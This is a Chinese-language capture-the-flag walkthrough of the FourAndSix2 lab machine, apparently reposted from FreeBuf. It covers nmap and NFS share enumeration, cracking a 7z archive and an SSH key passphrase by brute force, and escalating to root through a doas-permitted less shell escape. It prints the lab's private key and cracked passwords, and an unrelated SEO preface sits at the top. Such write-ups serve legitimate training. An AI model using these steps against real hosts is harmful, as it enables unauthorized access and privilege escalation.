前言:
今天你们对“ad hoc networks letpub”大致比较关注,你们都需要学习一些“ad hoc networks letpub”的相关知识。那么小编也在网上收集了一些有关“ad hoc networks letpub””的相关文章,希望咱们能喜欢,看官们一起来了解一下吧!最近在乡下,网太慢了,只能玩玩靶机。
任务:获取root权限并且读取/root/flag.txt
安装
直接导入virtualbox即可。
开始
开机就可以看见靶机的IP:192.168.0.104
# nmap -n -v -Pn -p- -A 192.168.0.104...PORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9 (protocol 2.0)| ssh-hostkey:| 2048 ef:3b:2e:cf:40:19:9e:bb:23:1e:aa:24:a1:09:4e:d1 (RSA)| 256 c8:5c:8b:0b:e1:64:0c:75:c3:63:d7:b3:80:c9:2f:d2 (ECDSA)|_ 256 61:bc:45:9a:ba:a5:47:20:60:13:25:19:b0:47:cb:ad (ED25519)111/tcp open rpcbind syn-ack ttl 64 2 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2 111/tcp rpcbind| 100000 2 111/udp rpcbind| 100003 2,3 2049/tcp nfs| 100003 2,3 2049/udp nfs| 100005 1,3 809/tcp mountd|_ 100005 1,3 997/udp mountd809/tcp open mountd syn-ack ttl 64 1-3 (RPC #100005)2049/tcp open nfs syn-ack ttl 64 2-3 (RPC #100003)
发现2049端口NFS服务。
NFS服务
NFS是Network File System的缩写,即网络文件系统。一种使用于分散式文件系统的协定,由Sun公司开发,于1984年向外公布。功能是通过网络让不同的机器、不同的操作系统能够彼此分享个别的数据,让应用程序在客户端通过网络访问位于服务器磁盘中的数据,是在类Unix系统间实现磁盘文件共享的一种方法。
NFS的基本原则是“容许不同的客户端及服务端通过一组RPC分享相同的文件系统”,它是独立于操作系统,容许不同硬件及操作系统的系统共同进行文件的分享。
NFS在文件传送或信息传送过程中依赖于RPC协议。RPC,远程过程调用 (Remote Procedure Call) 是能使客户端执行其他系统中程序的一种机制。NFS本身是没有提供信息传输的协议和功能的,但NFS却能让我们通过网络进行资料的分享,这是因为NFS使用了一些其它的传输协议。而这些传输协议用到这个RPC功能的。可以说NFS本身就是使用RPC的一个程序。或者说NFS也是一个RPC SERVER。所以只要用到NFS的地方都要启动RPC服务,不论是NFS SERVER或者NFS CLIENT。这样SERVER和CLIENT才能通过RPC来实现PROGRAM PORT的对应。可以这么理解RPC和NFS的关系:NFS是一个文件系统,而RPC是负责负责信息的传输。
使用nmap脚本探测可挂载目录
nmap -sV --script=nfs-showmount 192.168.0.104Nmap scan report for 192.168.0.104Host is up (0.00069s latency).Not shown: 997 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.9 (protocol 2.0)111/tcp open rpcbind 2 (RPC #100000)| nfs-showmount: |_ /home/user/storage | rpcinfo: | program version port/proto service| 100000 2 111/tcp rpcbind| 100000 2 111/udp rpcbind| 100003 2,3 2049/tcp nfs| 100003 2,3 2049/udp nfs| 100005 1,3 685/tcp mountd|_ 100005 1,3 869/udp mountd2049/tcp open nfs 2-3 (RPC #100003)
发现可挂载目录/home/user/storage,挂载目录sudo nfspysh -o server=192.168.0.104:/home/user/storage /tmp/test/
可以看见一个backup.7z的压缩包,尝试用7z解压,可是发现没有7z命令,只能将文件保存到本地再打开了:get backup.7z /tmp/
qsNw8ttnhlyM.7z解压发现要密码?!利用john工具爆破密码为:chocolate得到id_rsa。
-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCmv/BkXUN5gfqui9Z/92KAAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDClNemaX//nOugJPAWyQ1aDMgfAS8zrJh++hNeMGCo+TIm9UxVUNwc6vhZ8apKZHOX0Ht+MlHLYdkbwSinmCRmOkm2JbMYA5GNBG3fTNWOAbhd7dl2GPG7NUD+zhaDFyRk5gTqmuFumECDAgCxzeE8r9jBwfX73cETemexWKnGqLey0T56VypNrjvueFPmmrWCJyPcXtoLNQDbbdaWwJPhF0gKGrrWTEZo0NnU1lMAnKkiooDxLFhxOIOxRIXWtDtc61cpnnJHtKeO+9wL2q7JeUQB00KLs9/iRwV6b+kslvHaaQ4TR8IaufuJqmICuE4+v7HdsQHslmIbPKX6HANnAAADwAO39g1ZtgarNJ4hcnHTgx/DLgDeet1AhvBBsVjk94i8WLhy0luUvigJcMwHY6MgxL/ZNJfe3cZZ2/Rpo5g5j5fzQ8vBHlglN9Z1GPVmeKdUHpRzrLFuARQOitYiWn9suwVafhgTS1hAof3Fqsik3pogEnqp9pm39lalPVNgNVj6HCr2iJ0iq/MXjAmbgYxvpYXhzjyGzfPRlsw3y1T0pIxq3y9AzVBzBCWF9x/GS1mXiDvGbNyb21ymn+NJq1eZKBN2LGJOHV2v+GGBkRTIYDsUpRbN56OJgu7FyksECQIARA3ngs7tJhkGwtU7tIihiw/JlRtNu3GZwEsd5RVyX6cK8xGuaqlUulmm5E1CnxXz3zj8MNhZtpDJaTpda83BhkxkSYb2svJ5rqO8HTYX2XtvPBEAN3U/dbcYVwNIdJ77TmckvStqvWi+DlZ6SL5Jlsj3WIFwXrmSIUQATA0jcF4d/FOoYOFTAQJ1y2pm97Q8UCErizu+SjfRyQ7Q7QERsuAWBKthTGWkmzWKTYG8cpKso4lwbbjKJapfovEDtJgtFZpaX2+2YMMBx5AtaUwNJShNYfIan4d8E2l6R77bBjqff4Qk1EMZzyXhG/Qe63buiCpUk6EevAf5Z2LXHJa4JYW3PVcSXL3pbAOKEt6c36Q7CMHLmgOR9Be9wU/G+0FkDhdcgdkfOHaROfbK+RLhZ9tMO2peFPPOba2/Mw/kIK2Tepw7dQMvZ8KU+rBISeTE0YoSNYpt5A7ClskeLsXh9KCA/6Glnw+xKS+KewK2ooDck0EwHUmVQqC4qkXzbPbcj37WwMO3mzcQo7MARluOX8Y5b6JReqdhzvM5S7/uObcIblXwq9h71gTPirzhnn9QaJ/DnbGX4Ww7m8nkFkf9qwghWM+vKMjTxGSFHFXubk8l+5CGfAOYC1igZMjKO5+2u60LMhtPjkGdUMbq0hv2FCxZW1ajlGwZIYWs2MLW7LGVSwC7re+fM21RaMxWvn73VjjooB+7hexe7l35mr5TyaZcQKCtJSNQRrGsSxHLUTEtvLY9FHOCnLgcsUziTm826t9dvsrYHJh8W/wSqSYQ9t1niLg2MulioK6H8FTDAupkhZUkkbL0FEbe+Dl3cIeUW6nXgaf6F+9tQHNQCI9QT1a/kGSGgQRRjuSdmVZieqdafJ7jHavLjzjcsiKQtjzkyaCp1hpadS6IZqF9DzlbtJRNlrO6Tq3j7gtL4DCURx2Jq13JO1hWDffIyrRZfgGeovGK/UAbTeTQ9MrPy1AS6A==-----END OPENSSH PRIVATE KEY-----
id_rsa.pub:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDClNemaX//nOugJPAWyQ1aDMgfAS8zrJh++hNeMGCo+TIm9UxVUNwc6vhZ8apKZHOX0Ht+MlHLYdkbwSinmCRmOkm2JbMYA5GNBG3fTNWOAbhd7dl2GPG7NUD+zhaDFyRk5gTqmuFumECDAgCxzeE8r9jBwfX73cETemexWKnGqLey0T56VypNrjvueFPmmrWCJyPcXtoLNQDbbdaWwJPhF0gKGrrWTEZo0NnU1lMAnKkiooDxLFhxOIOxRIXWtDtc61cpnnJHtKeO+9wL2q7JeUQB00KLs9/iRwV6b+kslvHaaQ4TR8IaufuJqmICuE4+v7HdsQHslmIbPKX6HANn user@fourandsix2
利用脚本爆破出密码:
cat /home/threst/Pentest/字典/password.txt | while read pass; do if ssh-keygen -c -C “user@192.168.0.105” -P $pass -f id_rsa &>/dev/null; then echo $pass; break; fi; done
得到密码12345678:
注意:这里我重启了虚拟机,所以ip变成了192.168.0.105。
发现不能直接访问root文件夹,于是查看/etc目录,有doas.conf对于多数用sudo只是为了不用记root密码的个人电脑用户来说,和复杂的sudo相比,来自OpenBSD的doas更加小巧(sudo编译后的体量是doas的五倍),配置更加简单,某种程度上也更加安全(很明显,代码越多,有漏洞的几率就越大,这也是OpenBSD的设计所依据的理论)。其作者在因为sudo复杂而经常变化配置格式头疼之后设计出了doas,现在已经被移植到Linux。配置格式很简单,要允许wheel组的用户用doas以root权限运行命令,只要用root用户在/etc/doas.conf写上:
permit :wheel
然后就可以像用sudo一样用它了。
输入doas /usr/bin/less /var/log/authlog查看日志:
输入v,进入编辑模式,输入:!/bin/sh
获得root权限,查看flag:acd043bc3103ed3dd02eee99d5b0ff42
*本文作者:周大涛,转载请注明来自FreeBuf.COM